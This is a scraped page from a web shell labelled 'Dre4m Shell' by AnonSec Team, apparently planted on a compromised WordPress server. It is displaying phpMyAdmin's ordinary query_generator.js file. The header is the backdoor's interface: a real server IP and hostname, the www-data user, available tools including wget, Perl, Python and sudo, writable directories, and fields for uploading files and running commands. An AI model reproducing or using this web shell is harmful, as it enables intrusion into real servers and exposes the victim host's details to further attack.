Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.59.58.68
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/phpMyAdmin/js/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/phpMyAdmin/js/database/query_generator.js
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * @fileoverview    function used in QBE for DB
 * @name            Database Operations
 *
 * @requires    jQuery
 * @requires    jQueryUI
 * @requires    js/functions.js
 *
 */

/* global sprintf */ // js/vendor/sprintf.js

function getFormatsText () {
    return {
        '=': ' = \'%s\'',
        '>': ' > \'%s\'',
        '>=': ' >= \'%s\'',
        '<': ' < \'%s\'',
        '<=': ' <= \'%s\'',
        '!=': ' != \'%s\'',
        'LIKE': ' LIKE \'%s\'',
        'LIKE %...%': ' LIKE \'%%%s%%\'',
        'NOT LIKE': ' NOT LIKE \'%s\'',
        'BETWEEN': ' BETWEEN \'%s\'',
        'NOT BETWEEN': ' NOT BETWEEN \'%s\'',
        'IS NULL': ' \'%s\' IS NULL',
        'IS NOT NULL': ' \'%s\' IS NOT NULL',
        'REGEXP': ' REGEXP \'%s\'',
        'REGEXP ^...$': ' REGEXP \'^%s$\'',
        'NOT REGEXP': ' NOT REGEXP \'%s\''
    };
}

function generateCondition (criteriaDiv, table) {
    var query = '`' + Functions.escapeBacktick(table.val()) + '`.';
    query += '`' + Functions.escapeBacktick(table.siblings('.columnNameSelect').first().val()) + '`';
    if (criteriaDiv.find('.criteria_rhs').first().val() === 'text') {
        var formatsText = getFormatsText();
        query += sprintf(formatsText[criteriaDiv.find('.criteria_op').first().val()], Functions.escapeSingleQuote(criteriaDiv.find('.rhs_text_val').first().val()));
    } else {
        query += ' ' + criteriaDiv.find('.criteria_op').first().val();
        query += ' `' + Functions.escapeBacktick(criteriaDiv.find('.tableNameSelect').first().val()) + '`.';
        query += '`' + Functions.escapeBacktick(criteriaDiv.find('.columnNameSelect').first().val()) + '`';
    }
    return query;
}

// eslint-disable-next-line no-unused-vars
function generateWhereBlock () {
    var count = 0;
    var query = '';
    $('.tableNameSelect').each(function () {
        var criteriaDiv = $(this).siblings('.slide-wrapper').first();
        var useCriteria = $(this).siblings('.criteria_col').first();
        if ($(this).val() !== '' && useCriteria.prop('checked')) {
            if (count > 0) {
                criteriaDiv.find('input.logical_op').each(function () {
                    if ($(this).prop('checked')) {
                        query += ' ' + $(this).val() + ' ';
                    }
                });
            }
            query += generateCondition(criteriaDiv, $(this));
            count++;
        }
    });
    return query;
}

function generateJoin (newTable, tableAliases, fk) {
    var query = '';
    query += ' \n\tLEFT JOIN ' + '`' + Functions.escapeBacktick(newTable) + '`';
    if (tableAliases[fk.TABLE_NAME][0] !== '') {
        query += ' AS `' + Functions.escapeBacktick(tableAliases[newTable][0]) + '`';
        query += ' ON `' + Functions.escapeBacktick(tableAliases[fk.TABLE_NAME][0]) + '`';
    } else {
        query += ' ON `' + Functions.escapeBacktick(fk.TABLE_NAME) + '`';
    }
    query += '.`' + fk.COLUMN_NAME + '`';
    if (tableAliases[fk.REFERENCED_TABLE_NAME][0] !== '') {
        query += ' = `' + Functions.escapeBacktick(tableAliases[fk.REFERENCED_TABLE_NAME][0]) + '`';
    } else {
        query += ' = `' + Functions.escapeBacktick(fk.REFERENCED_TABLE_NAME) + '`';
    }
    query += '.`' + fk.REFERENCED_COLUMN_NAME + '`';
    return query;
}

function existReference (table, fk, usedTables) {
    var isReferredBy = fk.TABLE_NAME === table && usedTables.includes(fk.REFERENCED_TABLE_NAME);
    var isReferencedBy = fk.REFERENCED_TABLE_NAME === table && usedTables.includes(fk.TABLE_NAME);
    return isReferredBy || isReferencedBy;
}

function tryJoinTable (table, tableAliases, usedTables, foreignKeys) {
    for (var i = 0; i < foreignKeys.length; i++) {
        var fk = foreignKeys[i];
        if (existReference(table, fk, usedTables)) {
            return generateJoin(table, tableAliases, fk);
        }
    }
    return '';
}

function appendTable (table, tableAliases, usedTables, foreignKeys) {
    var query = tryJoinTable (table, tableAliases, usedTables, foreignKeys);
    if (query === '') {
        if (usedTables.length > 0) {
            query += '\n\t, ';
        }
        query += '`' + Functions.escapeBacktick(table) + '`';
        if (tableAliases[table][0] !== '') {
            query += ' AS `' + Functions.escapeBacktick(tableAliases[table][0]) + '`';
        }
    }
    usedTables.push(table);
    return query;
}

// eslint-disable-next-line no-unused-vars
function generateFromBlock (tableAliases, foreignKeys) {
    var usedTables = [];
    var query = '';
    for (var table in tableAliases) {
        if (tableAliases.hasOwnProperty(table)) {
            query += appendTable(table, tableAliases, usedTables, foreignKeys);
        }
    }
    return query;
}

Anon7 - 2022
AnonSec Team